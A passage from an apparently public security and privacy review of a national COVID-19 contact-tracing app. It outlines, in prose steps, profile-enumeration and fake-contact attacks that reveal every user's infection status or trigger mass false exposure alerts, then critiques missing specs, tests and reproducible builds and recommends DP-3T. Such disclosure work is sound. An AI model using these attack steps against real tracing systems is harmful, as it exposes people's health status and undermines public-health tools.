As described above, it is likely that the reporting of contacts of an infected user uses only one-sided contacts submitted by the user's device, i.e. when querying the contacts of a user X, the contacts of all users are queried for X's profileID (see the code). Which might make sense, if one accounts for the possibility of some devices going offline and not uploading their contacts. If contact reports from both parties were necessary to report a contact, this might pose problems. However, this implicit trust of user's reported contacts, together with the way profileIDs are assigned (unsigned increasing integer sequence, see the code here and here) creates an attack on the system, in which an attacker can get the infection status of all of the users.

1. Attacker first creates a new profile, and receives back their profileID. As profileIDs are generated incrementally, the attacker can now enumerate all previously registered profileIDs.
2. The attacker creates a new profile for each of the existing user's profiles.
3. Then the attacker will report a contact from each of his profiles with exactly one of the legitimate user's profiles, i.e. attacker's profile #1 reports contact with user profile #1, attacker's profile #2 reports contact with user profile #2, and so on.
4. When any of the users registered before attacker's profile registration are confirmed infected, the query for their contacts will always include the one attacker's profile and the attacker will get a notification of being in contact with an infected user.
5. There is also the possibility of extending this attack to complete deanonymization of an infected user, by placing BLE listening devices in particular public places, together with a camera capturing the area, and then correlating the captured broadcasts with the camera view of the area (see here). This data collection can be performed even before the attack itself or before the user's infection.

If however, the implicit trust was one-sided the other way, i.e. querying the contacts of a user X would trust their reported contacts a different attack would be possible, one that would mark all users as having contact with an infected person.

The attack would work as follows:
1. Attacker registers a profile with the server, and receives back their profileID. As profileIDs are generated incrementally, the attacker can now enumerate all previously registered profileIDs. They can not however spoof messages to the API as users with those profileIDs as deviceIDs are required for that, and those are random UUIDs that contain enough entropy.
2. The attacker can however report any and all profileIDs in use to the server as contacts, possibly daily for some period of time.
3. The attacker can now give the account details/device with the account details to a likely infected cooperating person, which will get tested and obtain a confirmation of infection from a health authority. The person then confirms their infection with the attackers account details, which immediately marks all of the users in the system as exposed to an infected person.

Modifying the system to rely on both sides of an encounter to report it might seem like an easy fix, however that brings the aforementioned issues of false-negatives created by devices going offline, or devices with different bluetooth strength (where only one device saw enough broadcasts of the other device to report a contact) and so on. The current system with predictable and static user IDs will likely always suffer from similar attacks.

Using a custom contact-tracing protocol, as the system does, is a security risk even if the above attack is fixed, as proper specification and security analysis is necessary to get it right. One can get both of those by using an established protocol such as DP-3T. As the cryptography community mantra rightfully states, Don't roll your own crypto!

## Build reproducibility and deployment

The three components of the system, the Android app, the iOS app and the backend server are all open-source, which is quite nice from an analysis perspective and also the bare-minimum a contact-tracing system should be.

There is however no transparency over the build and deployment process, e.g. what versions of code actually run on the server, or are provided in the respective app stores. The Android app does not contain the full configuration and it is thus not possible to build it reproducibly such that the built APK matches the app store APK perfectly.

Having build reproducibility for a privacy sensitive app is important, to ensure that code can be analyzed and that arguments from this code analysis can be applied to the deployed app. Also to make decompilation and analysis of deployed apps not necessary apart from a comparison of the app's hash.

## Specification and documentation

The system lacks any proper specification, of the contact-tracing protocol, backend API or really any component. Without a detailed specification of all of the system's components and their responsibilities and behavior, proper analysis is resource-intensive if not impossible. This can be seen from my statements about the attacks above, where an unavailable component of the system, the admin app, makes decisions that influence how and if an attack would work. Without this specification, which should have been created before implementation took place, more vulnerabilities in the system cannot be ruled out, they will however remain harder to find and fix.

The components also lack documentation, apart from a README here and there. Having properly documented components would make security analysis of the system easier, as well as help new contributors to contribute to the project.

## Tests

The android app contains no tests at all, the iOS app contains a test directory that contains no tests. The server is the only component with any tests, and contains a few tests for the push-notification service, SMS messaging service and a few unit tests for the core repository. This absence of tests is a serious issue for a privacy sensitive app, as the likelihood of errors in the code with absolutely no tests is high.

## Calibration and real-world testing

The contact-tracing capabilities of the app have not been properly tested in the real-world, to the best of my knowledge. Such testing is necessary for proper calibration of what an epidemiologically significant encounter is and how it manifests in the BLE broadcasts. Modern devices have strong capabilities to both broadcast and receive the broadcasts, if any sequence of correctly received broadcasts longer than 5 minutes is counted as an encounter (as currently done in the app), the number of false-positives would likely be quite high.

Calibration and real-world testing is currently being performed by the DP-3T team, using an app built using their decentralized contact-tracing protocol, even before the deployment of the app in Switzerland (see here and here).

## Other solutions

In comparison with current contact-tracing efforts and plans of different countries, the app is clearly the least privacy-preserving, due to using the aforementioned privacy issues (full contact graph on server, attacks possible, static and predictable IDs used).

The DP-3T project presents a decentralized privacy-preserving approach to contact-tracing, with strong guarantees, a detailed specification, published SDKs and extensive security analysis. It is also backed by a large group of researchers from the security & privacy area. This approach will be deployed in Switzerland (app). There has also been extensive work on interoperability of contact-tracing protocols, focusing on DP-3T (here).

The situation in the UK seems worse than the case of Switzerland, the NHSX/NCSC recently released a specification for a custom centralized contact-tracing system, which does not have privacy-preserving properties (see here for an analysis by Martin Albrecht and here for an analysis by Kenny Paterson).

There have been several statements from hundreds of scientists and researchers mainly in the fields of security & privacy that called for a responsible, privacy-preserving by design, approach to contact-tracing. See here and here. These statements endorse the decentralized privacy-preserving approach taken by DP-3T and clearly advise against the centralized approach taken by the Covid19 ZostanZdravy app (obviously without directly mentioning it).

## Conclusions and recommendations

I believe the app, as it is now, presents a significant risk from a privacy perspective. The following list summarizes the issues presented:

• The app reveals the full contact graph of all of its users to the server.
• The app uses static and predictable user IDs.
• The app allows for an attack in which an attacker gains the infection status of all users.
• The app is not build reproducibly and thus correspondence between the deployed apps and the sources can not be easily confirmed.
• The app has no specification and documentation.
• The app has almost no tests.
• There was no public security analysis of the contact-tracing protocol or the apps.
• There was no calibration and real-world testing of the app and system.

When comparing the app to the principles outlined in the Joint Statement on Contact Tracing, the app fails all but one.

• "Contact tracing Apps must only be used to support public health measures for the containment of COVID-19. The system must not be capable of collecting, processing, or transmitting any more data than what is necessary to achieve this purpose." The app collects the full contact graph of all users, which is unnecessary.
• "Any considered solution must be fully transparent. The protocols and their implementations, including any sub-components provided by companies, must be available for public analysis. The processed data and if, how, where, and for how long they are stored must be documented unambiguously. Such data collected should be minimal for the given purpose." The data collected by the app is not minimal.
• "When multiple possible options to implement a certain component or functionality of the app exist, then the most privacy-preserving option must be chosen. Deviations from this principle are only permissible if this is necessary to achieve the purpose of the app more effectively, and must be clearly justified with sunset provisions." The contact-tracing protocol implemented is clearly not the most privacy-preserving, but likely the simplest.
• "The use of contact tracing Apps and the systems that support them must be voluntary, used with the explicit consent of the user and the systems must be designed to be able to be switched off, and all data deleted, when the current crisis is over." The app is currently voluntary.

I want to stress that an analysis like this one should have been performed long before the app achieved current levels of deployment. A way to fix some of the issues above would be to move the app to the DP-3T contact-tracing protocol, which has SDKs available for both Android and iOS, and has passed significant security and privacy analysis. This would fix the privacy and security issues inherent in the protocol used, but also help with other issues, as the need for a full specification would be lower, the code to document would be simpler and there would be less code to test. Calibration and testing issues would be also resolved by the currently ongoing testing by the DP-3T team.

One practical issue that I did not mention, as it does not pertain to security or privacy, is that of Bluetooth broadcast issues on iOS. This would be resolved by using DP-3T as well, since the iOS SDK of DP-3T plans to utilize the Apple provided contact-tracing APIs, when they become available.

Prev
1   2   3